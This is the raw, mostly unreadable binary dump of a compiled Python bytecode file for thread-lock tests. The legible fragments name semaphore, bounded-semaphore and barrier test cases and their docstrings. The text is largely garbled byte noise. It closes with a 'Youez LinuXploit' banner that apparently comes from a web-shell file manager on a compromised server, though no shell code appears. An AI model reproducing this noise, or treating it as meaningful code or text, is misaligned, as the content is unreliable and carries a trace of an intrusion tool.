c��UO]2oUO2UO2UO2UO2P!rx)rsryrqrys& r
r��&SemaphoreTests.test_release_unacquired�s3���l�l�1�o�����
����
����
����
rc�,�UO]2oUO[U2Q2UO2UO[U2Q2UO	2UO	2UO[U2Q2P!)rLz<\w+\.Semaphore at .*: value=3>z<\w+\.Semaphore at .*: value=2>z<\w+\.Semaphore at .*: value=4>)rsrlrmrqryrys& r
rn�SemaphoreTests.test_repr�si���l�l�1�o������c��$F�G����
�����c��$F�G����
����
�����c��$F�Grr(�	r;r<r=r>r?r�rnr@rArBs@r
r�r��s������H�Hrr�c�2`�\sQsQsnQsQsQsQsUsP!)�BoundedSemaphoreTests�z
Tests for bounded semaphores.
c���UO2oUO[UO2UO	2UO2UO[UO2P!r)rsrgr�ryrqrys& r
r��-BoundedSemaphoreTests.test_release_unacquiredsG���l�l�n�����*�c�k�k�2����
����
����*�c�k�k�2rc��UO]2oUO[U2Q2UO2UO[U2Q2P!)rLz(<\w+\.BoundedSemaphore at .*: value=3/3>z(<\w+\.BoundedSemaphore at .*: value=2/3>)rsrlrmrqrys& r
rn�BoundedSemaphoreTests.test_repr
sB���l�l�1�o������c��$O�P����
�����c��$O�Prr(r�rBs@r
r�r��s�����3�Q�Qrr�c�`�\sQsQsnQs]sQsQsQsQs	Qs
QsQQ	ksQ
s
QsQsQ
sQsQsQsQsQsQsQsUsP!)�BarrierTestsiz
Tests for Barrier objects.
g@c�`�UOUOUOQ5UmP!)r�)�barriertyper��defaultTimeout�barrierr7s&r
rI�BarrierTests.setUps#���'�'�����8K�8K�'�L��rc�<�UOO2P!r)r��abortr7s&r
rN�BarrierTests.tearDowns�������rc�~�[VO29^tt^2PPP2P!)%fhP!9hr)rr��rr�s&&r
�run_threads�BarrierTests.run_threadss#��
�1�f�f�
�
���
�
�
�s�+�<	�<	c��UOOoUOV0O2[	U2FD�oU]*OP	2UO[
U]*2VC*2UOO2U]*OP	2UO[
U]*2U]*U*2UOO2J�	UOUOO]2UOUOO2P!)r�)r��partiesrZr�r+rr,r�	n_waitingr��broken)rr��n�mrbs&&&  r
�	multipass�BarrierTests.multipass"s����L�L� � ������F�F�#��q��A��A�J���d�#����S����_�a�e�4��L�L�����A�J���d�#����S����_�q�1�u��k�:��L�L����
�	
������/�/��3�������,�,�-rc��UO[UO]Q5UO[UOPQ5P!)r�)r�)rgr�r�r7s&r
rb�BarrierTests.test_constructor/s8�����*�d�&6�&6���B����*�d�&6�&6���Crc�H```�,,,nUUU1QkoROU2P!)z+
Test that a barrier is passed in lockstep
c�.:�RORR2P!r)r�)�passesr�rs���r
r��$BarrierTests.test_barrier.<locals>.f8s����N�N�7�F�+r�r�)rr�r�r�sff @r
�test_barrier�BarrierTests.test_barrier3s!����b�'��	,�����rc�&�UO]
2!)z3
Test that a barrier works for 10 consecutive runs
)r�r7s&r
�test_barrier_10�BarrierTests.test_barrier_10<s��� � ��$�$rc�``�,nUU1QkoROU2RO[R2[[RO222P!)z)
test the return value from barrier.wait
c�`:�ROO2oROU2P!r)r�rr)r%r�rs ��r
r��(BarrierTests.test_wait_return.<locals>.fGs!������!�!�#�A��N�N�1�r)r�rZ�sumr+r�)rr�r�sf @r
�test_wait_return�BarrierTests.test_wait_returnBs@�����	�	
���������W��s�5����=�'9�:rc�```�,nU1QkoROROU2nUUU1QkoROU2P!)z
Test the 'action' callback
c�,:�ROP	2P!r6)r)r�s�r
�action�(BarrierTests.test_action.<locals>.actionSs����N�N�4� rc�`:�RO2RO[R2]2P!rx)rrZr,)r�r�rs���r
r��#BarrierTests.test_action.<locals>.fVs ����L�L�N����S��\�1�-r)r�r�r�)rr�r�r�r�sf  @@r
�test_action�BarrierTests.test_actionNs:�����	!��"�"�4�6�6�6�2��	.�	
����rc� ```�,n,nUUU1QkoROU2RO[R2]2RO[R2RO]*
2RO	RO
O2P!)z;
Test that an abort will put the barrier in a broken state
c�z:�ROO2oURO]*6Xc[gROO2RO	P	2P![
OcRO	P	2P![cROO2P!h9hr�)r�rr�r�rr�BrokenBarrierErrorr�)rbrrrs ���r
r��"BarrierTests.test_abort.<locals>.fbs����

��L�L�%�%�'�������	�>�&�&����!�!�#�����%���/�/�
&�����%��
����"�"�$��
�s(�1A)�1A)�)B:�=B:�B:�B:�9B:)r�rZr,r�r}r�r�)rr�rrsf @@r
�
test_abort�BarrierTests.test_abort\sj�������	�	
���������X���*�����X�����q��1�������+�+�,rc�(````�,n,n,nUUUU1QkoROU2RO[R2]2RO[R2RO]*
2RO[R2RO2P!)z<
Test that a 'reset' on a barrier frees the waiting threads
c�`:�ROO2oURO]*6Xcw[O[O
2FD2oROORO]*
6�fJ1L	ROO2L,ROO2ROP	2ROO2ROP	2P![OcROP	2KUh9hr�)r�rr�rr r!r��resetrrr�)rbr$rr�results3rs  ����r
r��"BarrierTests.test_reset.<locals>.f{s�������!�!�#�A��D�F�F�A�I�~� �/�/��0E�0E�F�A��|�|�-�-�$�&�&�1�*�=��G����"�"�$�*��L�L�%�%�'��O�O�D�)�
�L�L�����O�O�D�!��	!�3�3�*��O�O�D�)�*�s�,+D�D-�D-�,D-)r�rZr,r�)rr�rrr�sf @@@r
�
test_reset�BarrierTests.test_resettsv���������	"�	"�$	
���������X���*�����X�����q��1�����X�����/rc�b`````�,n,n,nRORO2nUUUUU1QkoROU2RO[	R2]2RO[	R2RO]*
2RO[	R2RO2P!)z6
Test that a barrier can be reset after being broken.
c�l:�ROO2oURO]*6Xc[gROO2RO	P	2RO2RO]*6XcROO2RO2ROO2RO	P	2P![
OcRO	P	2K�[cROO2K�h9hr�)	r�rr�r�rrr�r�r�)rb�barrier2rrr�rs �����r
r��,BarrierTests.test_abort_and_reset.<locals>.f�s����

��L�L�%�%�'�������	�>�&�&����!�!�#�����%��}�}��$�&�&�!�)�+����"�"�$��M�M�O��L�L�����O�O�D�!���/�/�
&�����%��
����"�"�$��
�s(�1C$�1C$�$D3�8D3�D3�D3�2D3)r�r�r�rZr,)rr�r�rrr�sf @@@@r
�test_abort_and_reset�!BarrierTests.test_abort_and_reset�s�����������#�#�D�F�F�+��	"�	"�*	
���������X���*�����X�����q��1�����X�����/rc�8`�U1QkoROU2P!)z
Test wait(timeout)
c�H:�ROO2oURO]*6Xc([ORO
]*2RO
[OROORO
]*2P!r�)	r�rr�rrr�rgrr�)rbrs �r
r��$BarrierTests.test_timeout.<locals>.f�sm������!�!�#�A��D�F�F�a�K���
�
�4�.�.��2�3����i�:�:�"�l�l�/�/��1D�1D�q�1H�
Jrr�r�sf r
r��BarrierTests.test_timeout�s���	J�	
����rc�*``�QoRO]UQ5nUU1Qko[O2o[U]29^tt^2PPP2[O2U*
oRO	VA2P!)%fhK?9h)z$
Test the barrier's default timeout
rir�c�^:�RO[ORO2P!r)rgrr�r)r�rs��r
r��,BarrierTests.test_default_timeout.<locals>.f�s ������i�:�:�%�l�l�
,r)r�rr�rrQ)rr�r��
start_timer'r�sf    @r
�test_default_timeout�!BarrierTests.test_default_timeout�sl������"�"�1�g�"�6��	,��^�^�%�
�
�1�a�[�[���
�^�^�
�
�
*������,��[�s�	B�B	�B	c�j�UO]2oUO2UO2P!rx)r�r)r�bs& r
�test_single_thread�BarrierTests.test_single_thread�s$�����Q���	����	���rc�X``�UO]2n[OnUO[	R2Q2UU1Qko]o[V29^tt^2[O[O2FDoROU6�fJL	UO[	R2Q2ROR2PPP2UO[	R2Q2RO2UO[	R2Q2P!)%fhKX9h)rLz!<\w+\.Barrier at .*: waiters=0/3>c�,:�ROR2P!r)r)r�r�s��r
r��!BarrierTests.test_repr.<locals>.f�s����L�L��!rz!<\w+\.Barrier at .*: waiters=2/3>z<\w+\.Barrier at .*: broken>)r�rr+rlrmrr r!r�rr�)rr�r�r$r�r�s&   @@r
rn�BarrierTests.test_repr�s�����"�"�1�%���&�&������g��(L�M�	"�
��
�1�[�[��+�+�G�,A�,A�B���$�$��)��C�
���T�'�]�A�
C�
�L�L��!��	
����g��=�	?�	�
�
������g��8�	:�!�[�s�7D�1D�D)	�"D)	)r�rx)r;r<r=r>r?r�r�rIrNr�r�rbr�r�r�r�r�r�r�r�rr	rnr@rArBs@r
r�r�sn�����	
�A��N�M���.�D��%�
;��-�00�> 0�D�-� �
:�:rr�)r?r�rtr�_threadrrr�unittestr��testr�test.supportr�
skipUnless�has_fork_supportr�r�objectr�TestCaserErXr�r�rr6ror�r�r�r(rr
�<module>rs����
�
��1�����)��#�#�G�$<�$<�%C�D�
�
 �@�F�@�F1�8�$�$�1�"[!�L�[!�|?�
�?�DV+��V+�rm@��m@�`G*�\�G*�TA��A�FH�'�H�.Q�.�Q�(`:�<�`:r

Youez - 2016 - github.com/yon3zu
LinuXploit